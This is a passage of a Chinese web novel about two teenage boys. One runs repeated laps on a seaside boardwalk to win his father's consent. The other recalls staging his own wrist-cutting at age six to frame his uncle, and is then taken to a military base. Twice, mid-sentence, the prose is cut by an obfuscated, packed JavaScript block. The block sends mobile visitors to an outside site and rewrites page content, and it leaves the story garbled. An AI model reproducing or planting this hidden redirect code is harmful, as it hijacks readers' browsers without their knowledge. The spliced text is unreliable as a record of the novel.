“…我知道您实在担心,我自己也有分寸,我只想在这里读完高一。本来茱莉亚或柯蒂斯就都没有春季入学的政策,我是无论如何也要等到明年秋季才能入学的。这一年的空档,与其听宋师兄和您的安排,我更想进入高中部,再念一年书,高一下学期再办手续退学。到那时我还不满十六岁,依照程序,档案也不会有被抽调的风险。” 顾仲景看着男孩一句句地分析,看来是早有打算了,原来他执意要参加中考也是因为这个原因啊,这样有了中考成绩他就能升学,没想到身经百战的自己没看穿这小心机,居然被这孩子算计了一番。 “我知道您不同意,您怕风险,您担心我,可是,当初您带着我从帝都逃来到这里,现在又要我出去,爸爸,有些东西逃避是没有用的,如果注定要来,我就算到了天涯海角也逃不开。这是到了该我自己选择的时候了,我更宁愿勇敢一点去面对,得之,我幸;失之,我命。” 男人被这句话一震,心底一痛:是啊,他为了逃避他所恐惧的将来,不仅叛离了自己的家族,还一手斩断了顾梓聿和他所有亲人的联系,恐怕这孩子的爷爷奶奶外公外婆都不知道他还依然活着吧。 是他,选择了带着顾梓聿隐姓埋名地生活,自由却孤独。可是如果他不这样做,这孩子也许终生都将生活在不怀好意的监视与控制下,然而与之相反的,他却能够享受现在所不能享受到的平常人家的人伦亲情,能够姓唐,能够光明正大地拜祭他的父母,甚至能作为“烈属”,享受到更好的待遇。 对这孩子来说,究竟什么是福?他其实也不知道。 他这样的一意孤行,真的,对这孩子好吗? “爸,爸?”顾梓聿一口气说了这么多,其实心里很是有些忐忑的,没想到现在顾仲景看起来一副失神的模样,这可是很少出现的,他甚至在想是不是自己太过大胆,把顾仲景吓着了。 “这些话,是你自己想的,还是谁教你的?”顾仲景回过神来,紧捏着顾梓聿的双肩,逼问到。 他可以斩钉截铁地拒绝程琤,可难保程琤在那头给顾梓聿灌了什么迷魂汤。 这,顾梓聿被吓了一跳,慌忙回答:“这当然是我自己想的,可能这些话在您听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266209|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来很不成熟,但这确实是我的真心话。您时常教导我,每个人做出选择,都要敢于承担后果,请您相信,我今天敢和您说这些话,都是我考虑过后的选择,我也能承担这个选择带来的后果。” “你能承担什么后果?”不知这句话哪里刺激到了顾仲景,男人怒极反笑,他是很想一巴掌扇醒这个不知天高地厚的傻孩子,可是看着顾梓聿那双坦然的眼,他又心软了。他害怕自己的选择其实是错的,又恐惧可能到来的狂风暴雨,再加上顾梓聿第一次不受他控制,自己做出了选择,一时间,他向来强大的心裂开了一个空洞,他愤怒地又重复了一遍:“你能承担什么后果?!” 出乎意料地,顾梓聿倒是保持了平静,也许是他真的长大了,他镇定地望着这个男人——他一直以来仰望的对象,他永远期待着他的夸奖和赞许,听从他的每一句话每一个字。然而现在,这个男人一直以来强硬的外壳开始产生裂痕,他愤怒而颤抖的声线显示了他的虚弱,顾梓聿迎着男人的愤怒,安静了一会,回答道:“我愿意为我的选择,承担任何后果。” 他似乎在一瞬间获得了一种成长的力量,他敢于向这个人生中的权威表达出自己的不满和拒绝,并且这种拒绝不是一种色厉内荏,而是真诚并坚定地。他诚挚地望着男人,这种力量沉默却又强大。 顾仲景的理智没能控制住他的愤怒,或者说他的心底深处渴望着发泄出那股积攒了多年的愤懑焦躁和恐惧。他没有多加思考,直接说道:“行啊,这里就是鹿城马拉松的起点,你要是能跑下全程,我就答应考虑一下。” 他以为顾梓聿会认真考虑之后拒绝,或者为了达成目的勉强答应,等着顾梓聿跑累了,实在受不了了,他就立马接回车上一路开回家,谅这熊孩子缓过来以后也不好意思再提这事。没想到顾梓聿立刻顺着杆子往上爬:“爸爸,您让我跑马拉松多不划算,您还得上终点那接我去,不如让我改跑这木栈道,那上面写着全长9.8公里呢,跑个两趟下来也和马拉松差不太多了,您只用在这起点数着,到时候我自己乖乖跑回来,省的累着您。” 他被这态度气着了,一脚踹上去:“行啊你小子,跑去啊,到时候跑不下来别求我!” 男孩笑嘻嘻地就跑开了,很快身影就消失在远处。 清晨,海边潮湿着还带点海腥味的空气涌入鼻腔,顾梓聿一边跑着,一边调整着自己的呼吸和步调。他的眼睛盯着木栈道上一格一格的木条——有些木条经受不住风和高盐分的海水发生的化学反应,已经被腐蚀,他得小心不要一脚踏空。 每根相似又稍有不同的木条从眼前一根根过,木条上的树疤星星点点映在顾梓聿的视网膜上,顾梓聿一时间有点放空: 他清楚地知道自己没有这个体力跑完马拉松全程。本来他的优势就不在长跑,去年十二月鹿城国际马拉松开赛,大家商量着去参加玩玩,他连半马都没敢报,顶着大家的嘲笑坚定地报了10公里。 开玩笑,全程将近四十三公里,半程也要二十一公里,根本就跑不下来啊,连这十公里他都是几乎去了半条命。 事实上,马拉松是专业度很高的运动,半程马拉松也没有听起来的那么简单,选手是需要进行系统性长时间训练的,训练跨度短则三四个月,长则需要一年。 然而现在有很多冲动型的跑步爱好者,平常可能只能跑5公里或者10公里,并不了解自己的身体极限,对赛程长度也没有深刻的了解,感觉21公里的赛程只要“咬咬牙就能跑完”。也因此,严重的伤病最容易出现在这些“菜鸟级”的跑者身上。 顾梓聿清晰地记得,当时,他跑完十公里,去半马终点处等其他人时,亲眼目睹了一名跑者倒在终点前不远处,而另一名倒在了终点冲线处。 “很多参加半马的新人,因为经验不足,专业度不够,很容易兴奋过头,” 那时候,刚跑到终点的张铎告诉他,“因为他们缺乏系统的训练,也不了解自己身体到了那个临界点时的变化,然后再加上接近终点时,旁边观众或者志愿者会加油呐喊,他们就会因为肾上腺素加速分泌而开始冲刺。” “可是这种情况是最危险的,他们下意识的加速,可能就造成心率一下就超过200。”张铎说,“而或许这远远超过了他们身体可以承受的极限,这也就是为什么这样的悲剧大都发生在终点附近。” 张铎看着心脏骤停倒地、被抬上救护车的参赛选手,语气里充满低落和悲悯。他从小就受父亲——一名专业的网球选手的影响,开始热爱上长跑,从十岁开始,他每年都参加青少年马拉松,这次是他第一次参加成人半马,然而顺利完成比赛的喜悦马上就为这悲剧所冲淡。 他拍了拍顾梓聿的肩:“还是你头脑比较清醒,选了十公里的;你看他们选了半马的,肯定跑不下来中途要退赛的。凡事都要量力而行啊。” 是啊,凡事都要量力而行。 回忆里,张铎少年老成地叹了口气,顾梓聿却想到就在昨天,傅尧算量力而行吗?而现在他自己呢? 他的心脏强有力地搏动着,血液一波波涌动着在体内横冲直撞着,他能怎么办呢?他早知道他的要求不会轻易被允许,如今所要付出的代价只是跑跑步,已经很不错了。反正也没有时间限制么,他就慢慢跑,总能坚持得下来。 29. 分道扬镳 傅尧坐在密闭的迷彩车里,不知将往何处,他只是双目微闭,半倚靠在后座上,享受着这一路颠簸中的些微平静。 说来好笑,这段路,竟是他这半年来心态最轻松的一段路。想到昨天,他连夜搭的客机回帝都,傅劲先纵使城府再深也抑制不住怒气,吹胡子瞪眼的,最终还是没舍得往他身上落一手指头,只是眼不见为净地把他送走,他心里竟有些酸涩。 他所做的一切,都在逼老爷子。 是任性的啊,他再不愿呆在那圈内束手束脚,只能守不能攻。众目睽睽之下,他要挣出一条道儿来,非得把自己从上到下污透了,才能借着这一丝缝儿,借着被处罚、被发配的名义,闯到外面的天地。 “乖儿啊,这条路不好走啊。” 老头没看他,目光仍停在墙上的画像上,女人坐在扶手椅中,神情端庄优雅,眉眼精致柔和,鬓发间别着一枚素雅的珍珠发饰。 傅尧知道,祖父的这后半生,都在追忆他的祖母。他更知道,自己如此得祖父欢心,不是因为自己是长子长孙,而是因为在祖母弥留的那一段时间里,还是婴孩的自己给了她很大的慰藉。更重要的是,他越长大,他的五官就越肖像祖母,有时,从远处看,那模糊的眉目之间,竟有九分相似。 他有一双橄榄绿色的眼睛。 和墙上那幅画像中的女人一模一样。 有时候,孩童的理解能力是超乎大人想象的。当傅尧第一次意识到这一点时,他完美地利用了自己的优势。 那一年,是傅家最血腥而黑暗的一年。 傅劲先已近暮年,功成名就,眼看就要颐养天年,继承人选却悬而未决。傅晋准作为长子,理应顺理成章地继承父业,他行事稳重,能力出众,身边早已聚集了一批忠诚的拥护者,羽翼已丰,威势已成,只差一个正式的名分。若是在一般的豪门望族,这样的安排自然合情合理,无人质疑。 可惜,傅劲先年轻时一心扑在政务和家族基业上,傅晋准是在老爷子最无暇顾及家庭的时期出生的,父子之间的情分浅薄。傅晋准成长于严苛的规训之下,早早学会了自立与隐忍,在父亲心里,他更像是一件精心打磨符合规格的被称为“儿子”的摆件。 反倒是傅秦陶,老来得子,偏生又聪慧机灵,正巧赶上傅劲先功成名就、春风得意的年纪。那个时候,老爷子大权在握,回头望去,竟发现自己一生戎马,唯独亏欠了家庭。于是,这个小儿子的出生,成了他弥补遗憾的机会。 傅秦陶比傅晋准整整小了十四岁。十四年,几乎是两代人的差距。 傅晋准清楚地记得,当母亲在餐桌上分享再次怀孕的消息时,父亲脸上的欣喜——那个向来冷静威严的男人,竟罕见地露出了真正的笑容。他那时已经懂得察言观色,心里隐约有些说不清的感觉,却仍装作一副成熟懂事的模样,向母亲道贺。 当弟弟出生的那一天,整个家族的注意力仿佛都被那个小小的婴儿吸引了过去。他记得自己站在病房门口,看着父亲小心翼翼地抱着襁褓中的弟弟,低头轻声逗弄,那是他从未见过的温柔神色。而母亲躺在床上,疲惫却幸福地笑着,一家人的目光聚集在那个柔软的小生命上,而他,站在门口,像是个局外人。 他不记得自己当时是什么表情,也不记得自己是否说过什么话,只记得从那一天起,家里的每一个角落似乎都被弟弟的哭声填满了,而父母的目光永远停留在小小的婴儿身上,任何时候,只要弟弟发出一点动静,父母的注意力便立刻转移过去,像是弟弟成了家庭的唯一中心。 对于傅晋准来说,这种变化来得既突然又无法抗拒。那时候,他在外求学,已经不住家里了,偶尔放年假回家,他和父母坐下来吃饭的次数也是少得可怜。母亲再不像以前那样,看到他回来就亲自下厨做一桌丰盛的饭菜,而是把更多的精力放在弟弟的奶粉、衣物和健康上。父亲的工作依旧繁忙,可偶尔回家时,第一件事也是去看看弟弟,而不是像过去那样询问他的学业。家里的佣人们谈论最多的,也是小少爷又学会了什么新词,又是如何被老爷抱着在院子里晒太阳。 小时候,他从来不曾奢望父亲的温柔,因为他知道父亲是严厉的,是冷硬的,是以帝国大业为重的。可现在,他却忽然发现,原来父亲并不是不会温柔,只是这份温柔,从来没有给过他。 随着时间的流逝,弟弟长大了,他开始学会说话、写字,独占了所有父母的时间,用于抱抱、亲吻和游戏。而18岁的哥哥已经在压力下飞速地成长,他以荣誉学员的身份从皇家军事学院毕业,进入帝国国防大学继续攻读经济学与法学的双学士学位,同时在议会担任书记员。父亲对他的学业和仕途感到满意,却依旧没有多余的时间停下来多看他一眼。 他对弟弟是有感情的。傅秦陶学会走路时,他是第一个伸手扶住他的哥哥;傅秦陶摔倒时,他会蹲下身子,认真地帮他擦去膝盖上的泥土。他带着弟弟在花园里放风筝,在书房里教他认字,在客厅里陪他玩拼图——他真心喜欢这个弟弟,喜欢他笑起来时露出的梨涡,喜欢他奶声奶气地喊他“大哥”。 但有时候,他也会在夜深人静时想,为什么这样温暖的童年,他自己从未拥有过。 傅晋准成婚的时候,傅秦陶已经16岁了。那场婚礼,原本该是傅晋准人生中的重要时刻,但却是当弟弟的风头一时无两。 傅家向来行事低调,但这场婚礼几乎是傅家权力与财富的集中展示。帝国的上层社会几乎倾巢而出,皇室、军方、内阁、各大财阀,无一缺席,甚至连皇帝陛下都在主教大人的陪同下亲自到场观礼。主教庄重地诵读着誓词,古堡里的盛宴光彩夺目,一切都彰显着傅家的权势与荣耀。 傅秦陶风度翩翩地站在父亲身边亲昵地交谈,两人极为相似的五官使他们看上去更像是父子,而不是父亲与次子,傅老爷子偶尔会拍一拍小儿子的肩膀。当司仪宣布伴郎上场时,傅秦陶意气风发,脚步轻快得像是即将走向自己的舞台。他站到傅晋准身侧时,兄弟俩的身高差竟然倒了个个儿——年少时还仰头喊“大哥”的少年,如今竟比他这个兄长还要高出小半个头。 傅秦陶的致辞更是彻底抢走了婚礼上的所有关注:他的声音醇厚,语调幽默,从两兄弟的童年趣事讲起,又恰到好处地表达对新婚夫妇的祝福。他在台上挥洒自如,谈吐得体,甚至几次引得宾客们笑声不断。即便是在场的权贵们,也不得不承认,这位傅家小公子的个人魅力几乎无懈可击。 这样微妙的角力发生在很多时候。傅晋准有点疑惑:弟弟究竟是故意地抢他风头,还是他真以为自己是傅家的独子,而他这位大哥只是个时不时回来借住客房的外人? 傅劲先并不制止小儿子这样的行为,这被人们看作是一种隐晦的表态。于是底下人当中,有眼利心眼儿活泛的,纷纷向傅秦陶投靠示好,群起而拥之,其中不乏一些手脚不干净、之前被傅晋准处理过的人。经年日久,自家两兄弟还没竖起旗子打起来,下面两群人就暗地里刀来枪往,一时间两败俱伤,俱不得安宁。 傅尧幼时是很喜欢这个小叔叔的:傅秦陶博学多才,待人随性又浪漫,与家族里那些端着架子的大人们截然不同。他的言谈举止间总透着一股潇洒不羁的风采,仿佛世间所有的烦恼在他这里都能被轻描淡写地一笑带过。他身上总有讲不完的趣事,读过无数奇闻异志,甚至还能用几种不同的语言讲述那些遥远国度的传奇故事。 相比起其他长辈的严厉,傅秦陶与孩子们的相处总是轻松随和,他从不摆出长辈的威严,也从不催促他们背诵那些晦涩的经典文献。相反,他会在家族宴会上悄悄给孩子们藏好糖果,或者在大人们谈论高深的话题时,神秘地冲傅尧眨眨眼,带他溜出宴会厅,到后花园里“探险”。 傅尧尤其喜欢看傅秦陶变魔术。 “小乖,看好了,见证奇迹的时刻到了。”傅秦陶半跪在他面前,袖口轻轻一抖,空空如也的掌心忽然凭空变出了一枚巧克力金币,金色的锡纸在灯光下闪烁着迷人的光泽。傅尧睁大了眼睛,忍不住欢呼出声。 更神奇的是,有一次,傅秦陶故作神秘地拿出一个气球,轻轻一吹,鼓鼓的气球瞬间炸裂成无数片。就在孩子们惋惜地叹息时,他随手一抖,那些细碎的气球片竟然变成了一条小巧玲珑的金鱼,跃然于他掌心之中,仿佛下一秒就能活蹦乱跳地游走。 “这、这怎么做到的?”傅尧惊讶地瞪圆了眼睛,伸手想去摸,却又怕弄破了这场奇迹。 傅秦陶笑着揉了揉他的头发,低声说:“魔术师的秘密可不能轻易透露,不过啊,小乖,只要你相信,奇迹总会发生。” 这样的小把戏,总能逗得一群孩子开怀大笑。傅尧曾经无数次想过,长大以后,他也要像小叔叔一样,洒脱自在,游历世界。 那时候的世界是温暖的,傅尧喜欢黏在傅秦陶身边,像所有无忧无虑的孩子一样,相信这份快乐可以一直持续下去。 可是一切都在某一天戛然而止。 那一天,也不知道是怎么一回事,傅尧从家中楼梯上跌下,撞到脑袋,旁边正巧无人看顾。等他被发现送医后,才发现脑中出血凝成血块压迫了神经。当时主治医生给出两种治疗方案供选择,傅晋准主张保守治疗,让淤血自行吸收,但傅秦陶则气势汹汹地冲进病房,指责保守治疗会害了小侄子,执意要选择开刀取出淤血。 这事儿是不敢让病榻上的老太太知道的,就唯恐她一下子接受不了。两兄弟意见相左,按道理说,这躺在病床上的是谁的儿子,就听谁说的怎么救。不过当时的傅尧可谓是傅家最宝贝的眼珠子,傅秦陶也是说一不二的性子,最后是由老爷子拍的板,做开颅手术。 手术很成功,本身血块也不大,取出来的过程看起来倒是一切顺利,然而,自这场开颅手术后,本来身强体健、堪称小老虎的傅尧一下变成了病猫,三天两头生病,感冒发烧肺炎哮喘,甚至还休克过两次。帝都所有领着帝国特殊津贴的儿科专家,都与傅尧混了个面熟。 大人们自然是很心疼,但傅秦陶更是自责,觉得是自己坚持的医疗手段不对,害得小侄子从此弱不禁风的,因此对傅尧更是小意逢迎,事事顺从,如果傅尧开口想要天上的星星做玩具,依这架势,傅秦陶也会爬上天去给他摘下来。 然而利欲熏心、人心难测,傅家兄弟二人天然对立,夺权之势已成。不管傅秦陶心里究竟是怎么想,在那一年,局势已然胶着,傅晋准一家,尤其是傅尧遇上的祸事不可谓不多。傅劲先偏心于幼子,而下面的人对这种无声的纵容最为敏感,明里暗里的“无意”加害层出不穷。 傅晋准被逼无奈,进退两难:身为人子,他不能公然违逆父亲心意,只能忍气吞声不违子道;身为长兄,他又不能对幼弟以眼还眼眦睚必报,必须宽忍友爱孝悌两全。 这样的困境下,纵使傅尧还小,也明白“覆巢之下,焉有完卵”的道理。 没有人告诉过他要怎么做,但孩童其实没有大人们所想象的那么天真懵懂。当年仅六岁的傅尧在浴室里被发现时,他浑身湿透,面色青白,左手手腕被割开了一条深深的伤痕,泡在溢着血水的浴缸里,人事不省。 第一个发现他的人,是他的母亲。 索菲亚刚刚陪同丈夫主持完一场宴会——不是什么轻省的差事,他们宴请了几位颇有势力的老家伙,企图获得他们的支持。宴席上的每一张面孔都挂着笑,话里话外却透着试探与算计,老狐狸们谈天说地从天地玄黄聊到宇宙洪荒,愣是没吐露出半点真心话,只想做墙头草,趁乱捞一把就走。 女人疲倦地卸下首饰,走进浴室,本来是想泡个热水澡放松片刻的,可当她推开浴室的门,眼前的一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266210|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她的心脏瞬间停跳—— 白瓷的浴缸里,血水正缓缓地从溢水口滴落,赤红色的水渍在地砖上蜿蜒成细长的痕迹。而她唯一的儿子,正浸泡在这血泊之中,毫无生气。 女人连尖叫声都来不及发出,“哐当”一声晕倒在地。这样的动静惊动了房间外走动的仆人,直到傅晋准得知这一事故时,他按捺已久的怒气终于一股勃发。 弟弟的步步紧逼已经令他头疼很久了,这些年他隐忍、退让,不是因为他不懂局势,而是因为他不能先动手。困兽犹斗,当下之际,他的好儿子已经以自己的性命为代价往他手里递了一把刀,他要是不狠下心来一击致命,如何对得起儿子的牺牲? 傅尧被送去抢救的时候已经失血过多,幸好最后抢救了回来。原来傅尧的腕动脉并没有被完全割开,桡动脉的失血量相对不大,所以傅尧险之又险地在鬼门关上走了一遭。 在外人看来,傅晋准一向冷静自持,无论面对再大的难事,从来是泰山崩于前而不改色,从没这样失态过。可此时的他却憔悴消瘦,和一样神色憔悴的妻子守在儿子的病床前。他什么话也没问,没有斥责也没有暴怒,没有精神应对各种杂事,手下的人更没精力去约束,只是枯坐着,望穿秋水般盼着儿子醒来。 傅劲先来的时候看到的就是这幅画面:他也心痛,虽然这个长子在他心中没有多大分量,但这个孙子他可是真疼的,亲手抱过看着长大的感情不是做假的。如今看到孙子这样恹恹地躺着生死不知,而一向精干的儿子也像失了魂一样时,傅劲先收起了这两年修养出来的菩萨面容,怒不可遏地下令彻查。 所以,当一切线索都指向傅秦陶身边一个很受器重的年轻人时,傅劲先的脸色就不那么好看了。 他早隐约意识到这事情的复杂性,也知道长子与幼子之间的对立不可调和,隐晦地提点了一下往傅家外敌的方向去查,却没想到千提防万小心,还是查到自己亲儿子身上去了。 要说傅秦陶能狠下心来害他的亲侄子,傅劲先是不信的,可证据就摆在眼前,无可辩驳。傅尧虽然还在昏迷,可他血液内查出的神经类药物残留和左手腕上那一道干净利落的刀痕却是无可辩驳的事实——这种神经类药物会使人意识模糊、肌肉无力,甚至陷入幻觉,而他的左手腕上,那道深可见骨的伤口,刀口平整、力道精准,绝非一个六岁的孩子能自己割出的。 自残者因为恐惧和疼痛,往往在制造出一道真正致命的伤口前,会在同一部位留下许多深浅不一的试探伤,敢问哪一个才六岁的小孩能在服药之后,狠下心、又有这样的力气和准头在自己的手腕上深切一刀? 也说不清到底是因为对大儿子和大孙子的怜悯之情,还是出于对自己的威严被挑衅的愤怒,傅劲先一改往日作风,亲自审人:他是不敢让熬红了眼睛的大儿子来的,谁知道到时候他抑制不住情绪会干出什么事来? 拷打持续了很久,年轻人的骨头都被敲碎了几根。审着审着,傅劲先本已饱经风霜的心颤抖了起来:嫌疑人的供词几无漏洞,差一点就能完美地自圆其说了,然而,就是差得这么一点,那些无意中被遗漏出来的小马脚,近乎直白地向他展现了究竟是谁不顾血缘亲情,为权力宁肯兄弟阋墙。 他看着终于醒来的傅尧,略显空洞的眼神,迷茫无助的神情,青白灰败的脸色和左手腕上厚厚的绷带,看着老大一家抱头痛哭,这样失而复得的心情,与他而言,竟是残酷的选择。 小小的傅尧没有等到令他惴惴不安的盘问,似乎所有人都一致认定他是被害者,毕竟没有人会相信,一个稚童会是心机深沉的布局者。而傅秦陶,作为一个成年人,一个利益直接相关者,他也没有等到一个解释辩白的机会——他很赏识那个年轻人,几乎与他同食同寝,加上年轻人不堪折磨,最终承认,虽然没有受傅秦陶直接指使,但是他私心想为傅秦陶除去上位路上的障碍,以之作为自己将来的投名状。 即便傅秦陶没有授意这个举动,但他的亲信,为了替他铺路,不惜对亲侄子下手,甚至想伪造一场自杀案来掩盖真相,这意味着他的野心和影响力,已经大到让人愿意主动为他杀人夺权,他被牵扯进意图谋杀亲侄子这样的丑闻中,也是一辈子不得翻身了。这样的供词不但入了傅劲先之耳,也入了傅晋准之耳,包庇已成不可能,傅秦陶从此被剥夺了继承权位的可能性,傅晋准理所应当地成为了傅家第五代的家主 但是,也许这样的选择并不是傅劲先的真正所愿,于是在继承了权位之后,自知并不讨父亲欢心的傅晋准带着一家人搬到了鹿城——虽然这个城市也算在华纳帝国的政治经济生活中占有重要地位,但比起作为政治文化中心的帝都,只能说是偏安一隅了。 傅尧没有想到,这段他极力想要埋藏在记忆深处的往事,居然又这样轻易地浮现在了眼前。自从他来到鹿城,按部就班地过家常日子、当普通学生,他就有一种错觉,仿佛自己的确是一个普通人,仿佛自己从没有为了自保做出这样嫁祸他人的事。伤是他自己割的,那个人是父亲早就安插进去的,最终他们扳倒了小叔叔,获得了胜利,可是这样的自己,又何尝不令人作呕呢? 过去的这平静的八年,他和父母像一个真正的普通三口之家,享受了最平静的幸福。而今,他将记忆里最初那个早已被弄脏了的自己唤醒,有时,狠绝才能活到最后。这是他六岁时就学到的经验,现在用上,应该还来得及。 军车很快就到了目的地,他顺从地被蒙上黑布条,被押下车。对方带着他走了很长一段路,他能感觉到似乎有很多双灼热的眼神正投射在他身上。他深吸一口气,挺直了腰杆,挺起了胸膛: 他知道,在这种只崇尚“强者为尊”的地方,他每多露出一份心虚和胆怯,都是替未来的自己又垒了一道障碍物。他必须告诉所有人,自己不是逆来顺受的孬种。 30. 奔跑吧少年 一片刺目的白光刺得人头晕目眩。 还有一百多天才迎来自己十五岁生日的傅尧被解下眼罩,被向前推得一踉跄。他镇定地稳住自己身形,试图忽略掉这粗暴动作给自己带来的不适感——不知道是这基地本来就藏匿在深山老林,还是为了不露痕迹,这来时的山路那叫一个九曲十八弯,从来不晕车的他此时也有点找不着天南地北。 他眨掉因为一时生理不适而分泌出来的泪水,透过模糊的视线看到不远处停着一辆军用吉普,没有挂牌。车边站着一个肤色黝黑,膀阔腰圆的大汉,车门半开着,隐约可以看见里面有个人影。 傅尧往四周看看,带他来的人已经无声无息地消失了。他几乎没有犹豫,迈步向吉普走去。 仿佛天地间以那军车为中心,正向外散发出无穷无尽的正压,傅尧面上虽然没表情,但实际上要很用力很用力才能克服心中那不安往前走去。没有几步的距离,那近似两米高的大汉看着他走过来,微微侧过身子,使傅尧得以看见那个倚在后座、双腿架在前排座位之间的男人,放松而懒散的姿态,却隐隐带了点伺机而动的威势。 “长官好!” 事实上傅尧连军校都没上过,更没有经历过正式的应征入伍程序,可以说是走了一个大大的后门,一时间他也不知道该怎样做,只是含糊地喊了声。 “新人,”这声音低沉沙哑,一字一句道:“我还不是你的长官。你是走后门进来的,知道吧?” 傅尧没回话,他感觉到自己耳根“噌”一下热了起来,火烧火燎的,他挺直了腰杆,抬起头:“报告,我…” 该说些什么呢?他不知道,这下才意识到自己的鲁莽,毫无预案地被老头子扔到这里来,虽然说老头子应该是这个世界上最不会伤害自己的,但…凡事总有但是。 好在局面没有更难堪下去,男人从车里探出脑袋来,他笑了笑,招了招手,左颊上那道伤疤却被牵连着更显可怖。 “知道这里是哪儿吗?想进陆战队,得有几把刷子。小子,跟上来,让我们看看你有多能耐!” 傅尧无措地往自己身上看了几眼:事发突然,他身上穿的还是昨天没换下来的校服,坐了一天的车已经有了折痕。黑色法式领的白色短袖衬衫,胸前还绣着由一只白鹿幻化而成的校徽,黑色滚白边的长裤,鞋子也是慢跑鞋,只有一点缓冲减震的功能,没有任何支撑防水保暖等等技术辅助。 尽管傅尧至今已经遇见并亲身经历过许多困难挑战,但作为本就是含着金汤匙出生的贵公子,优越的家庭条件在各种方面力所能及地让傅尧享受到“最好”。要学习什么,都有最好的老师;任何运动,都会配备最专业最安全的装备。被要求在这样的场地、穿这样“不专业”的服装运动,傅尧本能地衡量了一下身体受伤的可能性。 但就在他下意识想尽量诚恳地表示拒绝时,军车已经缓缓开动,真的是“缓缓”,似乎就是在等着他追上去。傅尧一咬牙,跟了上去。 正为自己的前途疲于奔命的傅尧,不会想到在这世界的另一处,也有一个人和他一样,为了替未来的自己争取到一丝的可能性,麻木地迈动双腿。 顾梓聿还在默默地跑着。这是他的第二趟,万里长征才走了个开头呢。 现在的天气已不像刚开始那样凉爽,太阳慢慢升到头顶上,散发着十足的热力,阵阵袭来的饥饿和困倦令他不停地出冷汗。顾梓聿小心翼翼控制着自己的呼吸和节奏,他知道这个惩罚已经远远超过了自己的体能极限,还好他这半年还有坚持和低年级的学弟们打打球,体力没有下降太多,不像一般的学生为了准备中考,已经有半年没有过较激烈的体育锻炼。 顾仲景站在车边生闷气:他没有想到这孩子竟然如此倔强,说跑就跑。是否同意让顾梓聿在在国内呆一年还不是最大的麻烦,他现在担心的是顾梓聿凭着一口气跑下来结果却把身子跑伤了。 自己明明知道这孩子的脾性,还硬要和他置气。这又是何苦呢? 看着那道坚定的身影,顾仲景想叫停,却又清楚地意识到不该开口:他当然知道,顾梓聿现在已经将身体的节奏调至了最佳状态,如果现在贸然打断他,却又无法给他一个满意的回答,顾梓聿势必是要继续跑下去,直到逼出一个答案为止,而这样继续下去带来的会是翻倍的痛苦和伤害。 他知道男孩前段时间才大病初愈,早上起来还没有吃饭,可是他却不能因为这份心软而轻易投降。顾梓聿跟他这么多年,从来没有提过这么过分的请求,听起来很合理,但这些事哪是如他想象这样的这样简单?他不想答应,甚至想把这小孩拽过来摁在地上狠狠打一顿,不听话就打断腿,看他怕不怕。 慢慢跑着的顾梓聿正好经过他身边,男孩显然不知道自己此刻正被顾仲景在心里摁倒狠揍呢。 看来是被气得狠了,顾仲景俨然已经忘了,自己曾发愿不再对顾梓聿动棍棒。 第二趟,跑了有全程的五分之二了,他的身体接近第一次临界点,双腿如灌铅一样沉重,空气里很安静,他能听到自己的心脏“咚咚”地狂跳,他尽力平稳呼吸,朝前看去,看不到的是栈道的尽头,偏偏,他的胃从深处传来一股压抑的疼痛,好像有一只沉睡的小怪兽终于苏醒,正张牙舞爪地准备大闹一场。 第三趟。顾梓聿没有想到自己已经跑下两个9.8公里了,他真心实意地笑了笑,为自己所意想不到的潜力。冲过第一次极点的他现在似乎觉得身体轻了些,然而要命的是,他的胃越来越疼,加上昨晚休息的不好,现在出了一头汗,海边风又大,他的头也开始疼,好像里面有东西在撞,东一耙子西一榔头的,他觉得视线都疼模糊了,顾仲景刚刚踹的那一脚倒不怎么显得疼了。 他无力地向前迈步,像是去奔赴一场注定会失败的战役。速干的运动衣湿了又干、干了又湿,风吹过蚀骨的冷,顾梓聿在心里暗骂了一声。 如果知道顾梓聿这样嫌弃他合体的功能运动衣,傅尧一定会骂他一句“身在福中不知福”的。他此时正深一脚浅一脚地跟着远处飞扬起漫天黄土的军车,没命地跑着,完全没有平时那副清冷矜贵的贵公子样。平日里整洁的校裤裤脚沾满了泥点,而深灰色的慢跑鞋早已辨不出原样。那军车就不远不近地吊着他,始终不令他落队。 傅尧还残存着一点点理智,他看了看腕表,根据预估的平均速度,大约算出他们已经跑了十多公里。 傅尧不是一个擅长跑步的人,或者说,他擅长的唯一一项体育运动是游泳。跑十公里,是他从来没有想过的距离,但是奇怪的是,他就这样无知无觉的跑了下来,尽管有些狼狈。他此时只能理解为,想要留下来的欲望超过了一切,令他奇异地跨过了体力的桎梏。 张瑾妤有一段时间曾非常迷《吸引力法则》,这本书讲的是,如果你执着地相信一件事,相信自己会得到它,那么连宇宙都会来帮助你。 傅尧那个时候对张瑾妤的“天真”嗤之以鼻,可如今看来,也许是对的呢?他从疲惫的大脑分出一个小角落,专心致志地想着三个字:“留下来!”。 顾梓聿也专心地想着三个字,这是他自己也没想到的、被埋藏在内心深处的秘密,如今体力流失,这三个字反而不甘寂寞地浮了上来,在顾梓聿的双眼前飘来飘去、在他的双耳旁反复念诵。 张瑾妤。 很有意思,不是吗? 顾梓聿这时才认清自己的内心:为什么昨天晚上会失眠?为什么直到今天他才找顾仲景说着自己不想出国? 为什么? 因为昨天傅尧被取消学籍了。 